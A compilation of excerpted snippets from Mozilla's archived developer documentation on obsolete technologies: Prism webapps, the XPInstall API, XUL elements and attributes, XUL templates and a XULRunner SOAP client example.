...reddit: reddit.webapp remember the milk: rtm.webapp (note: should work with google gears with some help) rsizr image editor rsizr.webapp seeqpod: seeqpod.webapp playable music search engine.
...) studivz: studivz.webapp wassr: wassr.webapp weightwatchers.com plan manager : weightwatchers.webapp widgetop.com - dashboard widget web desktop: widgetop.webapp yahoo!
... mail: ymail.webapp (note that this fakes a firefox user agent string while running, which may affect other running web applications.) ...
Configuration - Archive of obsolete content
the profile can be used to launch the webapp in prism.
...an asterisk is used to match any string.
... launch prism with -webapp [bundle] to load the specified web profile and install the webapp to your prism profile folder.
... once the webapp is installed, it can be launched using -webapp [webapp-id] and prism will skip the installation and run the webapp directly.
TraceVis - Archive of obsolete content
the first part lists the time tracemonkey spent in each major tracing activity.
... the second part lists the reasons tracemonkey transitioned to the interpreter, and the amount of interpreter time charged to each reason.
...there is a color for each activity.
... time goes forward down each column of pixels, then to the column on the right.
Video presentations - Archive of obsolete content
mozilla is actively working to produce video presentations that can help you learn how the mozilla codebase works and how to take advantage of its technology in your own applications and extensions.
... architecture these presentations provide an architectural overview of the codebase.
...(as quicktime; 127 mb, 50 mb, and 68 mb) the life cycle of a bug (part 1, part 2) mike connor describes how a bug goes from bug report to patch to implemented fix.
... learn how to properly file a good bug report, how the bug reports are handled, and how to submit and get reviews for patches.
Mozilla Web Developer Community - Archive of obsolete content
newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercia...
...l case for web standards a list apart, for people who make websites mozilla technology evangelism, get involved with mozilla evangelism you may also find helpful information on the w3c mailing lists newsletter there is no newsletter planned at this time.
... archived devedge newsletters are at http://devedge-temp.mozilla.org/community/news/ feeds recent changes rss feed warning: this feed is updated very often.
...the list of old devedge feeds is at http://devedge-temp.mozilla.org/comm.../feedlist.html feedback hendrix mdnproduct feedback bugzilla - report a bug in a mozilla product for questions related to this website (but not technical questions), please send your message to the mdc mailing list.
writeString - Archive of obsolete content
summary changes a value in a .ini file.
... method of winprofile object syntax boolean writestring ( string section, string key, string value); parameters the method has the following parameters: section section in the file, such as "boot" or "drivers".
... key the key in that section whose value to change.
... returns true if successfully scheduled, otherwise, false.
setRootKey - Archive of obsolete content
setrootkey changes the root key being accessed.
...description the setrootkey changes the root key.
...if you want to access keys in another portion, you must use this method to change the root key.
...the values you can use are: hkey_classes_root hkey_current_user hkey_local_machine hkey_users example to use the hkey_users section, use these statements: winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_users); ...
XPInstall API reference - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...objects install properties methods adddirectory addfile alert cancelinstall confirm deleteregisteredfile execute gestalt getcomponentfolder getfolder getlasterror getwinprofile getwinregistry initinstall loadresources logcomment patch performinstall refreshplugins registerchrome reseterror setpackagefolder installtrigger no properties methods compareversion enabled getversion install installchrome startsoftwareupdate installversion properties methods compareto init to...
...string file no properties methods copy dircreate dirgetparent dirremove dirrename diskspaceavailable execute exists isdirectory isfile macalias moddate moddatechanged move remove rename size windowsgetshortname windowsregisterserver windowsshortcut winprofile no properties methods getstring writestring winreg no properties methods createkey deletekey deletevalue enumkeys enumvaluenames getvalue getvaluenumber getvaluestring iskeywritable keyexists se...
...trootkey setvalue setvaluenumber setvaluestring valueexists winregvalue constructor other information return codes see complete list examples trigger scripts and install scripts code samples file.macalias file.windowsshortcut install.adddirectory install.addfile installtrigger.installchrome installtrigger.startsoftwareupdate windows install ...
allowevents - Archive of obsolete content
« xul reference home allowevents type: boolean if true, events are passed to children of the element.
... on listitem and titlebar elements, mouse events normally do not get sent to their children; instead they are retargeted to the listitem and titlebar element itself.
...this does the same thing in that it allows events to be targeted normally, but allows this to be different for each descendant.
...for the latter, the allowevents attribute is set to true to have a click on the child button receive events instead of targeting all events at the menu.
buttons - Archive of obsolete content
the following values can be used in the list: accept: the ok button, which will accept the changes when pressed.
... cancel: the cancel button which will cancel the operation.
...if it is set to true any changes to settings are supposed to be applied immediately.
... the default setting of browser.preferences.instantapply currently is true on linux and mac os and false on windows (which however might or might not change soon, see bug 738797 and bug 1037225).
datasources - Archive of obsolete content
these can be either internal datasources such as rdf:bookmarks or a url.
...the element should have a template element as a child.
... for rdf templates, the specified datasources are combined into a single composite datasource which holds the data from all of the datasources.
... for xml datasources, only one source is used, either the url of an xml file or an anchor reference to another element within the same document.
equalsize - Archive of obsolete content
« xul reference home equalsize type: one of the values below this attribute can be used to make the children of the element equal in size.
... always for a horizontally oriented element, this will make all of its children have the width of the widest child.
... for a vertically oriented element, this will make its children all have the height of the tallest child.
... never all of the children are displayed at the size required by the content or as specified by the width and height attributes or the css width and height properties.
iscontainer - Archive of obsolete content
« xul reference home iscontainer type: boolean indicates whether rules match based on containment.
... if not specified, the rule may match regardless of whether a node is a container or not.
... true: the rule will only match nodes that are marked as containers.
... false: the rule will only match nodes that are not marked as containers.
isempty - Archive of obsolete content
« xul reference home isempty type: boolean indicates whether rules match based on emptyness.
... if not specified, the rule may match regardless of whether a node has children or not.
... true: the rule will only match nodes that contain no child elements.
... false: the rule will only match nodes that contain one or more child elements.
preference.type - Archive of obsolete content
« xul reference home type type: one of the values below the preference type which should be one of the following values.
...usually a checkbox would be connected to these preferences.
... int an integer string a string unichar a unicode string wstring a localized string.
... in this situation the preference will save the path to a property file which contains the actual value of the preference.
sizemode - Archive of obsolete content
setting this attribute does not change the window state.
... use window.maximize(), window.restore(), or window.minimize() to change the window state.
...listen to the sizemodechange event dispatched to the dom window to get notified when the window state changes.
... issues with this attribute (at least on firefox 3): sizemode is only updated when the value of the persist attribute on the root element (such as <window>) contains sizemode.
timeout - Archive of obsolete content
« xul reference home timeout type: integer for autocomplete textboxes, the number of milliseconds before the textbox starts searching for completions.
...for search textboxes, the number of milliseconds before the timer fires a command event.
...the timer starts after the user types a character.
... if the user types another character, the timer resets.
Attribute (XUL) - Archive of obsolete content
« xul reference home acceltext accessible accesskey activetitlebarcolor afterselected align allowevents allownegativeassertions alternatingbackground alwaysopenpopup attribute autocheck autocompleteenabled autocompletepopup autocompletesearch autocompletesearchparam autofill autofillaftermatch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed ...
...lose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left link...
...edpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onw...
...izardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname ...
Uploading and Downloading Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...this is a common technique for uploading files as it is compatible with existing servers and formdata interface makes that task fairly simple.
... fetch upload please refer to uploading a file section inside the fetch article.
Menus - Archive of obsolete content
an extension will often wish to attach a new command to a menu.
... to do this, the new menu will need to be laid over the existing menu which the item should be displayed upon.
...ext-viewbgimage views a background image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-delete deletes selection editable text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection context-viewpartialsource-mathml views the mathml source mathml context-viewsource views the source context-viewinfo views the page info context-metadata views the properties context-spell-check-e...
...nabled spell check enabled checkbox context-inspect inspects the element ...
Methods - Archive of obsolete content
« xul reference home acceptdialog additemtoselection addpane addprogresslistener addsession addtab addtabsprogresslistener advance advanceselectedtab appendcustomtoolbar appendgroup appenditem appendnotification blur cancel canceldialog centerwindowonscreen checkadjacentelement clearresults clearselection click close collapsetoolbar contains decrease decreasepage docommand ensureelementisvisible ensureindexisvisible ensureselectedelementisvisible expandtoolbar extra1 extra2 focus getbrowseratindex getbrowserfordocument getbrowserfortab getbrowserindexfordocument getbutton getdefaultsession geteditor getelementsbyattribute getelementsbyattributens getformattedstring gethtmleditor getindexoffi...
...rstvisiblerow getindexofitem getitematindex getnextitem getnotificationbox getnotificationwithvalue getnumberofvisiblerows getpagebyid getpreviousitem getresultat getresultcount getresultvalueat getrowcount getsearchat getselecteditem getsession getsessionbyname getsessionresultat getsessionstatusat getsessionvalueat getstring goback gobackgroup godown goforward goforwardgroup gohome goto gotoindex goup hidepopup increase increasepage insertitem insertitemat invertselection loadgroup loadonetab loadtabs loaduri loaduriwithflags makeeditable movebyoffset moveto movetoalertposition onsearchcomplete ontextentered ontextreverted openpopup openpopupatscreen opensubdialog openwindow preferencefo...
...tifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange selecttabatindex setselectionrange showpane showpopup sizeto startediting stop stopediting swapdocshells syncsessions timedselect toggleitemselection related dom element methods dom:element.addeventlistener dom:element.appendchild dom:element.comparedocumentposition dom:element.dispatchevent dom:element.getattribute dom:element.getattributenode dom:element.getattributenodens dom:element.getattributens dom:element.getelementsbytagname dom:element.getelementsbytagnamens dom:element.getfeature fixme: brokenlink dom:element.getuserdata dom:element.hasattribute dom:element.hasattributens dom:element...
....hasattributes dom:element.haschildnodes dom:element.insertbefore dom:element.isequalnode dom:element.issamenode dom:element.issupported dom:element.lookupnamespaceuri dom:element.lookupprefix dom:element.normalize dom:element.removeattribute dom:element.removeattributenode dom:element.removeattributens dom:element.removechild dom:element.removeeventlistener dom:element.replacechild dom:element.setattribute dom:element.setattributenode dom:element.setattributenodens dom:element.setattributens dom:element.setuserdata ...
view - Archive of obsolete content
ArchiveMozillaXULPropertyview
« xul reference view type: nsitreeview the view for the tree, which is the object which generates the data to be displayed.
... you can assign an object which implements nsitreeview to this property.
... trees built from rdf or those which use treeitems directly will already have a view.
... functions available in the view allow one to retrieve the data within the cells, and determine which rows are nested within others.
XML Assignments - Archive of obsolete content
<assign var="?namelength" expr="string-length(@name)"/> <assign var="?siblings" expr="count(../*) - 1"/> </query> <action> <hbox uri="?" align="center"> <button label="?name"/> <label value="?gender"/> <label value="?namelength"/> <label value="?siblings"/> </hbox> </action> </template> </vbox> two assign elements are placed as children of the query element.
...note that while the query expression uses the root node (or reference node) as the xpath context, the expressions for the assign element are evaluated using each result node as the context.
... for each result, the ?namelength variable will be assigned the length of the name attribute on the result node, and the ?siblings variable will be assigned the number of sibling nodes the result has.
...naturally, the number of siblings will be the same for all children, but you could imagine a more complex query expression that generated nodes where this wasn't actually the case.
Toolbars - Archive of obsolete content
documentation xul school: adding toolbars and toolbar buttons a helpful tutorial to creating toolbars and toolbar buttons.
... toolbar customization events a look at the events that are sent during toolbar customization; you can use these to be kept aware of changes to toolbars.
... mailing list newsgroup rss feed #extdev irc channel mozillazine forum about:addons newsletter mozilla's web-tech blog mozdev project owners planet mozilla other community links...
... tools dom inspector edit the live dom (firefox and thunderbird) mozilla labs add-on builder extension developer's extension a suite of development tools chrome list view files in chrome:// (firefox, thunderbird) extension wizard a web-based extension skeleton generator (firefox and thunderbird) ...
Window icons - Archive of obsolete content
starting with firefox 1.5, thunderbird 1.5, and xulrunner 1.8, you can specify an icon for a xul window by putting files named mywindow.ico (for windows) and mywindow.xpm or mywindow16.xpm (linux), where mywindow is the id of the <window> you want to attach the icon to, in the chrome/icons/default subfolder of your bundle.
... these icons will override the global icon files, which are located in app_dir/browser/chrome/icons/default.
...global icon files currently take precedence and bundles are only searched for icons which are not provided by the application.
... older versions to support older applications, such as firefox 1.0, you need to copy the icons to app_dir/chrome/icons/default manually on the first start (example code).
XUL Coding Style Guidelines - Archive of obsolete content
to make xul files easy to read and maintain, localization friendly, and portable across user agents, we need to have a set of coding style guidelines to ensure our objectives are achievable.
...disobeying them might not cause any parsing error for now, however, it might cause future maintenance headache: convert html files to xul files.
...use chrome urls.
... author: tao cheng newsgroup discussion mailing list original document information author(s): tao cheng last updated date: december 10, 2004 copyright information: copyright (c) tao cheng ...
assign - Archive of obsolete content
for more information, see xml_assignments attributes expr, var examples (example needed) attributes expr type: string for xml queries, an xpath expression which returns results.
... var type: string for the xul assign attribute, this is the variable to assign the value to; otherwise it's a reference to a template variable such as "?name".
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
binding - Archive of obsolete content
like the triple element in syntax, it can be used to bind a particular property of a matched node to a particular variable name.
... predicate type: uri the predicate or property to match.
...xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related tbd ...
column - Archive of obsolete content
each child of the column element is placed in each successive cell of the grid.
... the column with the most child elements determines the number of rows in each column.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, rows, row ...
deck - Archive of obsolete content
ArchiveMozillaXULdeck
« xul reference home [ examples | attributes | properties | methods | related ] an element that displays only one of its children at a time.
... the selectedindex attribute determines which child is displayed.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related stack ...
groupbox - Archive of obsolete content
if a caption element is placed inside the groupbox, it will be used as a caption which appears along the top of the groupbox.
... properties accessibletype examples <groupbox> <caption label="settings"/> <radiogroup> <radio label="black and white"/> <radio label="colour"/> </radiogroup> <checkbox label="enabled"/> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, ori...
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
row - Archive of obsolete content
ArchiveMozillaXULrow
each child of the row element is placed in each successive cell of the grid.
... the row with the most child elements determines the number of columns in each row, which may be smaller or larger than the number of column elements defined in the grid.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, column, rows.
script - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] much like the html script element, this is used to declare a script to be used by the xul window.
... note: if the javascript file is in chrome://, setting this attribute to application/javascript will always use the latest available javascript version.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
separator - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
... these classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme.
... thin a thinner separator, which is usually 0.5 ems.
<statusbarpanel> - Archive of obsolete content
this is a special type of button which is drawn differently.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
... these classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme.
tabpanels - Archive of obsolete content
the tabpanels element should be placed in a tabbox although it does not have to be a direct child.
... the children of the tabpanels element become the panels of the tabbox.
...a select event will be sent when the selected panel is changed.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributeno...
titlebar - Archive of obsolete content
this element can't be used to change the platform-native titlebar of normal windows; instead, it's used to create custom titlebars for chromeless windows.
...arent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul", "", "chrome=1, titlebar=0") attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persis...
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
wizardpage - Archive of obsolete content
the wizard always starts with the wizardpage that appears first in the wizard child list.
...the wizard always starts with the wizardpage that appears first in the wizard child list.
...ssname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related wizard ...
XUL - Archive of obsolete content
template guide a detailed guide on xul templates, which is a means of generating content from a datasource.
...they provide a powerful mechanism for extending and customizing existing xul applications.
...there is a xulrunner application containing the xul periodic table which can be opened with gecko based browsers.
... mailing list newsgroup rss feed #xul on irc.mozilla.org tools xul online live editor (copy & paste snippets from here and run them) xul explorer (a lightweight xul ide) xulexplorer (patched version of xul explorer) extension developer's extension (featuring a live xul editor) xulref sidebar firebug dom inspector spket ide, ide for xul/xbl ample sdk, (cross-browser xul renderer in javascript/html) view all...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
it requires servers to support wsdl which took it out of the running.
...pclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy,...
